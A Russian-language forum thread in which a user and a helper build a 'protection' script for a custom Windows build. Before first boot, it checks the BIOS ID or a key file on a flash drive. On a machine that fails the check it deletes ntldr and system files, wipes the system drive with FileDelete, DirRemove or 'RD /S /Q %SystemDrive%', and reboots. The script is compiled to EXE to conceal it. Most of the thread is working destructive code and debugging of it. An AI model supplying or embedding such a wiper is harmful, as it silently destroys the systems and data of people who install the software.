![]() |
Помогите подправить скрипт VBS
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:
Код:
Option Explicit If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным. Помогите пожалуйста. |
только что осинило что можно пойти другим путем. Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? А там я в нем все напишу что наболело :biggrin:
|
Цитата:
Цитата:
Код:
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True |
Цитата:
Цитата:
ObjShell.Run ("C:\run.exe"), 0, True ObjShell.Run ("C:\run.exe"), 0 ObjShell.Run ("C:\run.exe") ничто не получилось |
Pozia,
Код:
'сначала создаём объект шелла For это цикл. |
Pozia
Цитата:
|
Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?
|
Admiral, еще хочу добавить что если это DOC окно скрыть то скрипт зависает в процессах и сам не выгружается. Очень бы хотелось это окно скрыть если это возможно.
|
вот еще заметил, что данный скрипт в загруженной винде не виден при выполнении. У меня он запускается через RunOnceEx перед первой загрузкой и вот там DOS окно выскакивает. И это окно не того файла который скрипт запускает, так как там тихий EXEфайл. Это окно скрипта. При чем окно пустое. Вот очень нужно его запускать скрытым если это можно.
Еще. Я этот VBS скрипт компилирую (если это так называется) с помощью утилиты screnc.exe Может из за нее выскакивает окно. Может можно чем нибудь еще компилировать? |
По поводу дос окна вопрос снимаю. Совсем затупил и не увидел что скрипт запускает CMD файл от которого и горит DOS окно. Я пошел другим путем. Нашел прогу Vbs_To_Exe и скомпилировал скрипт прямо в EXE и как и раньше запускаю его через RunOnceEx. Теперь такая проблема возникла. При выполнении скрипта выскакивает табличка с надписью "the script you are executing is taking longer than expected to run click end to abort the script, or continue to continue script execution" и две кнопки End и Continue. Как сделать чтобы это окно не выскакивало? Как то подправить скрипт?
|
Pozia, в чем необходимость компиляции VBS/CMD?
|
amel27, в том, что этот скрипт защита моей сборки, и нечего остальным править ее под себя :) А видя этот скрипт методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе.
|
Цитата:
|
amel27, переписать скрипт это не по моим мозгам. По поводу появления окна как я описал есть идеи?
|
|
amel27, автоит только недавно начал изучать сам, да и то дальше симуляций нажатия по клавишам не дошло и врядли дойдет. Я вообще от программирования ну просто очень далек. И то что я умудрился за этот год сделать свою сборку винды, причем без хвастовства приличную, это для меня большое достижение. Все друзья теперь ставят ее а не зверя, который не нравится из за того что там есть то чего обычным смертным не надо. Вот последнее что я бы хотел сделать это защита своей сборки. Не хочу чтобы кроме моих друзей ее кто нибудь ставил. Защиту эту конечно же можно сломать без проблем, но это новичку надо не плохо этот сайт поизучать. А кто сможет сломать тому она не надо, они лучше свою сделают. Если вы можете написать этот скрипт в автоит буду вам крайне признателен. За помощь в любом случае спасибо.
|
Pozia, вот что получилось... кстати, по ходу в оригинальном VBS один из 2-х "endif" лишний, возможно поэтому компилятор ругается:
Код:
Opt("ExpandEnvStrings", 1) |
amel27, спасибо большое. Оперативно вы. Как только протестирую напишу, на этой недели возможно уже не успею
|
amel27, вот попробовал протестить ваш скрипт. Правда немного модифицировал чтобы проверить на живой системе работу.
Вот текст: HTML код:
|
Цитата:
Код:
Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Цитата:
|
amel27, запускаю ваш вариант с одним и двумя == и ничего не происходит. А что должно быть? Должны выскакивать сообщения как я понимаю?
Pozia, ой. Надо было в самом скрипте поменять. Разобрался. В общем запускал такое: HTML код:
Opt("ExpandEnvStrings", 1) По поводу добовления ID BIOS я ошибся. Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да? |
Цитата:
Код:
$iRet = ShellExecute("C:\mmm.txt") Цитата:
|
amel27, дурак я!!! Вм6есто $iRes = RunWait("C:\mmm.txt") записал как должно быть $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) и закинул в диск С файлы PKUNZIP.exe и Protect.zip и все сработало как и должно быть!!! И первый ваш вариант рабочий когда записать одно =. В общем ОГРОМНОЕ СПАСИБО!!! Полностью протестирую работу с установкий ОСИ уже после выходных и сразу же отпишусь о результатах.
|
amel27, вроде как работает нормально. Будут проблемы отпишусь. Вот только комп по команде Shutdown(29) выключается. А для перезагрузки как правильно записать?
amel27, нет не совсем нормально работает. Я удаляю вот это: FileSetAttrib("%SystemDrive%\*.*", "-SR") FileDelete("%SystemDrive%\*.*") FileDelete(@WindowsDir &"\*.*") FileDelete(@WindowsDir &"\L2Schemas\*.*") FileDelete(@WindowsDir &"\security\*.*") FileDelete(@WindowsDir &"\system\*.*") FileDelete(@SystemDir &"\config\*.*") FileDelete(@SystemDir &"\drivers\*.*") FileDelete(@SystemDir &"\oobe\*.*") FileDelete(@SystemDir &"\*.*") Удаляются файлы по выделенным командам. По остальным не хочет. Как правильно записать чтобы работало? |
Цитата:
Код:
Shutdown(22) Цитата:
Код:
FileSetAttrib(@SystemDir &"\*.*", "-SR") |
amel27, удалял итак:
FileSetAttrib("%SystemDrive%\*.*", "-SR") FileDelete("%SystemDrive%\*.*") FileSetAttrib(@WindowsDir &"\*.*", "-SR") FileDelete(@WindowsDir &"\*.*") FileSetAttrib(@WindowsDir &"\L2Schemas\*.*", "-SR") FileDelete(@WindowsDir &"\L2Schemas\*.*") FileSetAttrib(@WindowsDir &"\security\*.*", "-SR") FileDelete(@WindowsDir &"\security\*.*") FileSetAttrib(@WindowsDir &"\system\*.*", "-SR") FileDelete(@WindowsDir &"\system\*.*") FileSetAttrib(@SystemDir &"\config\*.*", "-SR") FileDelete(@SystemDir &"\config\*.*") FileSetAttrib(@SystemDir &"\drivers\*.*", "-SR") FileDelete(@SystemDir &"\drivers\*.*") FileSetAttrib(@SystemDir &"\oobe\*.*", "-SR") FileDelete(@SystemDir &"\oobe\*.*") FileSetAttrib(@SystemDir &"\*.*", "-SR") FileDelete(@SystemDir &"\*.*") И все равно не так много удаляет как удалял обычный cmd файл запускаемый этим же скриптом с такими же путями удаления. В частности: FileDelete("%SystemDrive%\*.*") - удалило все FileDelete(@WindowsDir &"\*.*") - удалило все FileDelete(@WindowsDir &"\L2Schemas\*.*") - удалило все FileDelete(@WindowsDir &"\security\*.*") - удалило все FileDelete(@WindowsDir &"\system\*.*") - удалило намного меньше чем удаляет cmd файл FileDelete(@SystemDir &"\config\*.*") -ничего не удалило, даже тот файл что положил я сам туда методом svcpack и он не мог висеть в памяти так как ничем не используется FileDelete(@SystemDir &"\drivers\*.*") - удалило намного меньше чем удаляет cmd файл FileDelete(@SystemDir &"\oobe\*.*") - удалило все FileDelete(@SystemDir &"\*.*") - удалило намного меньше чем удаляет cmd файл Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше? |
Цитата:
Код:
DirRemove(@WindowsDir, 1) |
amel27, с этой командой выскакивает сообщение: $Admin - системная папка. Удаление невозможно. И вообще ничего не удоляет. Есть еще какие нибудь варианты на удаление?
А почему Цитата:
|
Цитата:
C:\Windows C:\Windows\Fonts C:\Windows\System32 C:\Windows\Resources C:\Program Files C:\Program Files\Common Цитата:
Цитата:
Код:
_DirRemoveAlt(@SystemDir) |
amel27, предложенный скрипт изрядно пошерстил system32 чему я безгранично рад и благодарствую вас! Появилось два вопроса:
1. Можно ли сделать скрипт удаляющий все возможное по всему системному диску а не только в system32 (для надежности)? 2. Разъясните в двух словах алгоритм работы скрипта. Как он определяет что файл нельзя удалять (так как выскакивает ошибка) и что можно удалять? Так как я заметил что файл с расширением evt положенный мною лично в C:\WINDOWS\system32\config\ не удалился. Почему? На нем стоял только один атрибут - архивный. |
1. попробуй так:
Код:
; Формирование списка системных каталогов |
amel27, ну вот и все. Отмучал я Вас. Спасибо огромное. Все работает на УРА!!! Прикольная получилась защита. Совместил Ваш скрипт поиска файла по MD5 сумме с данным и получилась что винда ставится только на ранее зашитые в скрипт материнки или на любой комп если вставить флешку с нужным файлом. Очень здорово! Спасибо еще раз!!!
|
Цитата:
Код:
_DirClear(@HomeDrive) |
amel27, запутали вы меня. Что за RD? То что вы привели сейчас быстрее удаляет?
|
Цитата:
Цитата:
Цитата:
Код:
RD /S /Q %SystemDrive%\ |
amel27, как можно получить ID BIOS?? Так как я его получаю не работает в виртуальной машине. Может подскажете?
|
amel27, подскажите почему не работает вот так скрипт. Модифицировал его под другие цели:
Код:
#NoTrayIcon |
всем привет ) не кто не может мне сделать скрипт что бы при его открытие всем посылалось определоное сообщения если можете пожалутся сделайте напишите на скайп dodge.90
|
Время: 22:46. |
Время: 22:46.
© OSzone.net 2001-